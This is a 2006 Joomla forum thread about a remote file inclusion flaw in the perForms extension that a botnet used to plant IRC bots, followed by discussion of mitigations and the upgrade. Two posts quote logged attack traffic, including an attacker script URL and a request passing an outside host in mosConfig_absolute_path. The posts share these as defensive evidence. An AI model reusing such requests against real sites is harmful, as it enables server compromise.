[UPGRADE AVAIL.] perForms Vulnerability

For all Non-Joomla! security issues. ie 3pd Components etc.

Moderator: General Support Moderators

Forum rules
Peter Koch
Joomla! Explorer
Joomla! Explorer
Posts: 374
Joined: Thu Aug 18, 2005 8:54 pm

[UPGRADE AVAIL.] perForms Vulnerability

Post by Peter Koch » Thu Jul 13, 2006 3:25 pm

Please read here.

Short: Installs IRC-Bot, infected yet 100 servers and growing fast.

components/com_perform/perform.php
Last edited by RobS on Wed Jul 19, 2006 5:01 am, edited 1 time in total.

User avatar
brian
Joomla! Master
Joomla! Master
Posts: 12781
Joined: Fri Aug 12, 2005 7:19 am
Location: Leeds, UK
Contact:

Re: perForms

Post by brian » Thu Jul 13, 2006 3:30 pm

Any chance of a translation please or at least a summary
"Exploited yesterday... Hacked tomorrow"
Blog http://brian.teeman.net/
Joomla Hidden Secrets http://hiddenjoomlasecrets.com/

Peter Koch
Joomla! Explorer
Joomla! Explorer
Posts: 374
Joined: Thu Aug 18, 2005 8:54 pm

Re: perForms

Post by Peter Koch » Thu Jul 13, 2006 3:31 pm

Joomla-extension perForms acute at risk.

A botnet operator uses currently a yet unknown vulnerability in the joomla extension perForms, to install an IRC bot. Infected computers can be identified by a running process with name httpdse and an IRC connection outgoing from it. The used programming fault is in the php file components/com_perform/perform.php. It includes external files by the global parameter $mosConfig_absolute_path, without checking for manipulation before. An attacker can under circumstances load arbitrary malcious php code, if the webserver is running with register_globals=on. The botnet uses google to search for other possible victims. According to Nepenthes developer Markus Kötter the botnet currently is about 100 compromised servers and is growing.

A comparable vulnerability was lately discovered in the extension Galleria. Possibly it is also present in other modules. The promlem with vulnerable extentions is allready known by the joomla developers. They recommend to all joomla users, to check php files of theire extensions. They should at the beginning have a line as

defined( '_VALID_MOS' ) or die( 'Direct Access not allowed.' );

which shoud in case be added when missing. The code secures scripts from a direct call how it is necessary for most exploits. Also it is imperative recommended to run the PHP-webserver with register_globals=off. This setting in php.ini protects from a big part of the known and yet unknown vulnerabilities in in PHP-scripts. (cr/c't)
Last edited by Anonymous on Thu Jul 13, 2006 4:08 pm, edited 1 time in total.

User avatar
gustavo
Joomla! Explorer
Joomla! Explorer
Posts: 427
Joined: Fri Aug 19, 2005 12:51 pm
Location: Argentina
Contact:

Re: perForms

Post by gustavo » Thu Jul 13, 2006 3:38 pm

-> I have logged "IRC-Bot" in my apache log .. dir:  http://muach.t35.com/tools/elite.php

insert shell , wget "IRC-Bot" ..  < 1 minute.

Have a nice day
Gustavo
Last edited by gustavo on Thu Jul 13, 2006 3:41 pm, edited 1 time in total.
Comunidad Joomla: Maintenance, support, translation and distribution for the Joomla!. Help site online. Member of the Spanish [es_ES] Joomla Translation Team. http://comunidadjoomla.org

rden17
Joomla! Intern
Joomla! Intern
Posts: 83
Joined: Tue Nov 29, 2005 12:48 am

Re: perForms

Post by rden17 » Thu Jul 13, 2006 4:43 pm

If already compromised, will inserting

defined( '_VALID_MOS' ) or die( 'Direct Access not allowed.' );

in all .php files and turning off globals take care of this?

Peter Koch
Joomla! Explorer
Joomla! Explorer
Posts: 374
Joined: Thu Aug 18, 2005 8:54 pm

Re: perForms

Post by Peter Koch » Thu Jul 13, 2006 4:45 pm

rden17 wrote: If already compromised, will inserting

defined( '_VALID_MOS' ) or die( 'Direct Access not allowed.' );

in all .php files and turning off globals take care of this?
That would only fix the joomla installation, but not remove the IRC-Bot.

Read this.
Last edited by Anonymous on Thu Jul 13, 2006 4:48 pm, edited 1 time in total.

User avatar
Tonie
Joomla! Master
Joomla! Master
Posts: 16553
Joined: Thu Aug 18, 2005 7:13 am

Re: perForms

Post by Tonie » Thu Jul 13, 2006 5:18 pm

Not sure if anybody already has done this. I have contacted the developer in question about this issue.

Peter Koch
Joomla! Explorer
Joomla! Explorer
Posts: 374
Joined: Thu Aug 18, 2005 8:54 pm

Re: perForms

Post by Peter Koch » Thu Jul 13, 2006 5:22 pm

Tonie wrote: Not sure if anybody already has done this. I have contacted the developer in question about this issue.
Probably not. I asked this question allready in the thread of another affected add-on.

Somebody should co-ordinate that all the respective developers get notified. Better twice than not at all.

User avatar
ot2sen
Joomla! Master
Joomla! Master
Posts: 10381
Joined: Thu Aug 18, 2005 9:58 am
Location: Hillerød - Denmark
Contact:

Re: perForms

Post by ot2sen » Thu Jul 13, 2006 6:58 pm

Tonie wrote: Not sure if anybody already has done this. I have contacted the developer in question about this issue.
A PM was sent earlier asking him to comment on this issue, with link to this thread.
To avoid others experience this, the extension is unpublished again from Extensions Directory until fix from developer.
Ole Bang Ottosen
Dansk frivillig Joomla! support websted - joomla.dk
OpenTranslators Core Team opentranslators.org

User avatar
aramil
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 101
Joined: Thu Apr 20, 2006 9:04 pm

Re: perForms

Post by aramil » Fri Jul 14, 2006 1:46 am

Hi all!

In a good moment perForms, just released the version 2 beta of this component. I unistalled the firts version due the security issue but i really like this component. Will be secure this new version?

Namarië
All men die, not all men really live!

User avatar
Elpie
Joomla! Guru
Joomla! Guru
Posts: 903
Joined: Wed Aug 17, 2005 11:26 pm
Contact:

Re: perForms

Post by Elpie » Fri Jul 14, 2006 2:15 pm

amaril, the developer is really the only person who can answer that question for you at the moment. ot2sen has already asked him to comment on the issue so hopefully he will be able to tell you soon.
For Mambo assistance: http://forum.mambo-foundation.org
Open Source Research & Best Practice: http://osprojects.info

User avatar
spignataro
Joomla! Ace
Joomla! Ace
Posts: 1179
Joined: Thu Aug 18, 2005 3:31 pm
Location: Battle Creek, MI
Contact:

Re: perForms

Post by spignataro » Fri Jul 14, 2006 2:51 pm

Steven Pignataro
-- http://www.corephp.com

User avatar
choomla
Joomla! Explorer
Joomla! Explorer
Posts: 308
Joined: Wed Feb 22, 2006 7:11 pm
Location: Gothenburg, Kingdom of Sweden
Contact:

Re: perForms

Post by choomla » Mon Jul 17, 2006 1:35 pm

And what? That means it is safe? Just uninstall the old one and install the new beta?

User avatar
spignataro
Joomla! Ace
Joomla! Ace
Posts: 1179
Joined: Thu Aug 18, 2005 3:31 pm
Location: Battle Creek, MI
Contact:

Re: perForms

Post by spignataro » Mon Jul 17, 2006 4:47 pm

correct

There are some major fixes to the release that resolve the problems that where happening. (also some nice new features have been implemented - alot better then the way i was implementing them)

Kind regards,
Steven Pignataro
-- http://www.corephp.com

Niklas
Joomla! Hero
Joomla! Hero
Posts: 2039
Joined: Thu Aug 18, 2005 5:39 am
Location: Aarhus, Denmark
Contact:

Re: perForms

Post by Niklas » Mon Jul 17, 2006 4:59 pm

The new version is great! Nice work.
Med venlig hilsen
Niklas Stephenson
www.ungt.dk - Open Source webløsninger, webudvikling og Joomla CMS

ilhami
Joomla! Apprentice
Joomla! Apprentice
Posts: 25
Joined: Sun Nov 20, 2005 2:29 pm

Re: perForms

Post by ilhami » Mon Jul 17, 2006 11:43 pm

v2-bet is safer, you should install that,
http://forum.joomla.org/index.php/topic ... #msg400101

User avatar
choomla
Joomla! Explorer
Joomla! Explorer
Posts: 308
Joined: Wed Feb 22, 2006 7:11 pm
Location: Gothenburg, Kingdom of Sweden
Contact:

Re: perForms

Post by choomla » Tue Jul 18, 2006 5:04 am

But what about my content, the forms I´ve created, will they disappear when I uninstall the old one?

ilhami
Joomla! Apprentice
Joomla! Apprentice
Posts: 25
Joined: Sun Nov 20, 2005 2:29 pm

Re: perForms

Post by ilhami » Tue Jul 18, 2006 6:40 am

choomla wrote: But what about my content, the forms I´ve created, will they disappear when I uninstall the old one?
yes, they will, but i am going to write an update script very soon.

User avatar
choomla
Joomla! Explorer
Joomla! Explorer
Posts: 308
Joined: Wed Feb 22, 2006 7:11 pm
Location: Gothenburg, Kingdom of Sweden
Contact:

Re: perForms

Post by choomla » Tue Jul 18, 2006 7:19 am

Great, then I'll unpublish mine and wait for that. Please post here when ready.

User avatar
spignataro
Joomla! Ace
Joomla! Ace
Posts: 1179
Joined: Thu Aug 18, 2005 3:31 pm
Location: Battle Creek, MI
Contact:

Re: perForms

Post by spignataro » Tue Jul 18, 2006 1:06 pm

this is all i did - i backed up the tables. Uninstalled performs - Deleted any left over tables. Installed the new performs. Inputted the old information into the database and i was good.
Steven Pignataro
-- http://www.corephp.com

Joomaboom
Joomla! Intern
Joomla! Intern
Posts: 73
Joined: Fri Sep 02, 2005 4:19 pm

Re: [UPGRADE AVAIL.] perForms Vulnerability

Post by Joomaboom » Wed Jul 19, 2006 4:06 pm

Is there a permission we can change to stop the hack and keep our forms running while we wait for an update script?

User avatar
spignataro
Joomla! Ace
Joomla! Ace
Posts: 1179
Joined: Thu Aug 18, 2005 3:31 pm
Location: Battle Creek, MI
Contact:

Re: [UPGRADE AVAIL.] perForms Vulnerability

Post by spignataro » Wed Jul 19, 2006 4:17 pm

add the following to the top of performs.php

Code: Select all

defined('_VALID_MOS') or die('Direct access to this location is not allowed.');
Steven Pignataro
-- http://www.corephp.com

duncans
Joomla! Apprentice
Joomla! Apprentice
Posts: 13
Joined: Wed Apr 12, 2006 11:31 pm
Contact:

Re: [UPGRADE AVAIL.] perForms Vulnerability

Post by duncans » Thu Jul 20, 2006 10:31 pm

I restored and then upgraded after being hacked.

I just noticed that when I turn off register globals, the forms don't work.
:(

nwm
Joomla! Apprentice
Joomla! Apprentice
Posts: 34
Joined: Wed Sep 07, 2005 7:31 pm
Contact:

Re: [UPGRADE AVAIL.] perForms Vulnerability

Post by nwm » Wed Aug 30, 2006 12:43 pm

I have same problem as Duncans When register globals turned off I cannot get form via the main menu item.

Register globals turned off by adding "php_flag register_globals off" in htaccess files

Any advice and help?

Norman
Norman Martin
www.newtraid.org
The Meeting Place for Volunteer Consultants and Clients

nwm
Joomla! Apprentice
Joomla! Apprentice
Posts: 34
Joined: Wed Sep 07, 2005 7:31 pm
Contact:

Re: [UPGRADE AVAIL.] perForms Vulnerability

Post by nwm » Sat Sep 02, 2006 2:48 pm

Hi

I am still having same problem. Have reinstalled V 2 beta and all seem to work OK  but can get no form in front end  Used menu link URL with link as "index.php?option=com_performs&formid=1"  but no form displayed. This worked OK before register_globals was turned off. Please can anyone help?
Thanks in anticipation

nwm wrote: I have same problem as Duncans When register globals turned off I cannot get form via the main menu item.

Register globals turned off by adding "php_flag register_globals off" in htaccess files

Any advice and help?

Norman
Norman Martin
www.newtraid.org
The Meeting Place for Volunteer Consultants and Clients

User avatar
pcigre
Joomla! Explorer
Joomla! Explorer
Posts: 338
Joined: Mon Sep 05, 2005 11:21 am
Location: Nis, Serbia
Contact:

Re: [UPGRADE AVAIL.] perForms Vulnerability

Post by pcigre » Sat Sep 02, 2006 5:57 pm

I have error when try to instal v2. Anyone else with this problem?
http://www.pcigre.com -> game community

User avatar
smart
Joomla! Enthusiast
Joomla! Enthusiast
Posts: 109
Joined: Thu Aug 18, 2005 1:33 pm
Location: Sebastopol
Contact:

Re: [UPGRADE AVAIL.] perForms Vulnerability

Post by smart » Mon Sep 04, 2006 8:21 am

pcigre.com wrote: I have error when try to instal v2. Anyone else with this problem?
Hm... v2 installs with no errors...
Joomlaportal.ru News, articles and tutorials
Joomlaforum.ru Russian Joomla Support Forum
Member of the Russian Joomla Translation Team

User avatar
Joomlamahesh
Joomla! Apprentice
Joomla! Apprentice
Posts: 34
Joined: Mon Nov 28, 2005 5:00 pm
Location: Mumbai, India
Contact:

Re: [UPGRADE AVAIL.] perForms Vulnerability

Post by Joomlamahesh » Sun Sep 17, 2006 7:37 pm

It works only if the RG_Emulation is ON. (Even when RG is OFF). If the RG_Emulation is Off , it does not display the form. Joomla security forums recommend RG=Off as well as RG_Emulation=Off. So what to do ? ???
A man is not finished when he is defeated,
He is finished when he quits

User avatar
Joomlamahesh
Joomla! Apprentice
Joomla! Apprentice
Posts: 34
Joined: Mon Nov 28, 2005 5:00 pm
Location: Mumbai, India
Contact:

Re: [UPGRADE AVAIL.] perForms Vulnerability

Post by Joomlamahesh » Thu Sep 21, 2006 4:40 am

Quote from: RVFoley on September 03, 2006, 08:59:12 PM
If you will open up performs.php in an editor and search for the term "formId", you need to change this to "formid".  Then it will work with register globals = off and with php.ini or your server php configuration set to register globals = off as well.

Thanks. This did the trick.  I was not able to use the form when it put off th RG_Emulation in my global.php when some hack attemts at performs were detected. With chaning as suggested above, the form has started working again even with RG = Off & RG_Emulation = Off.

Thanks once again.
A man is not finished when he is defeated,
He is finished when he quits

User avatar
Joomlamahesh
Joomla! Apprentice
Joomla! Apprentice
Posts: 34
Joined: Mon Nov 28, 2005 5:00 pm
Location: Mumbai, India
Contact:

Re: [UPGRADE AVAIL.] perForms Vulnerability

Post by Joomlamahesh » Sat Dec 09, 2006 3:46 am

While going through my log files I found lines like :


/components/com_performs/performs.php?mosConfig_absolute_path=http://panoplanet.com/c.in
  Http Code: 404  Date: Dec 07 21:33:08  Http Version: HTTP/1.1  Size in Bytes: - 
  Referer: - 
  Agent: libwww-perl/5.79 


As this sounded problematic I have removed the component and deleted the file. Still these lines appeared today. My error log showed that the file acess to performs is giving errors.

What shall I do to rectify the problem and secure the system further. I had alredy taken the measures mentioned above like .htacces file upgradation, RG=off on the host, Emulation =off etc.etc.
A man is not finished when he is defeated,
He is finished when he quits


Locked

Return to “3rd Party/Non Joomla! Security Issues”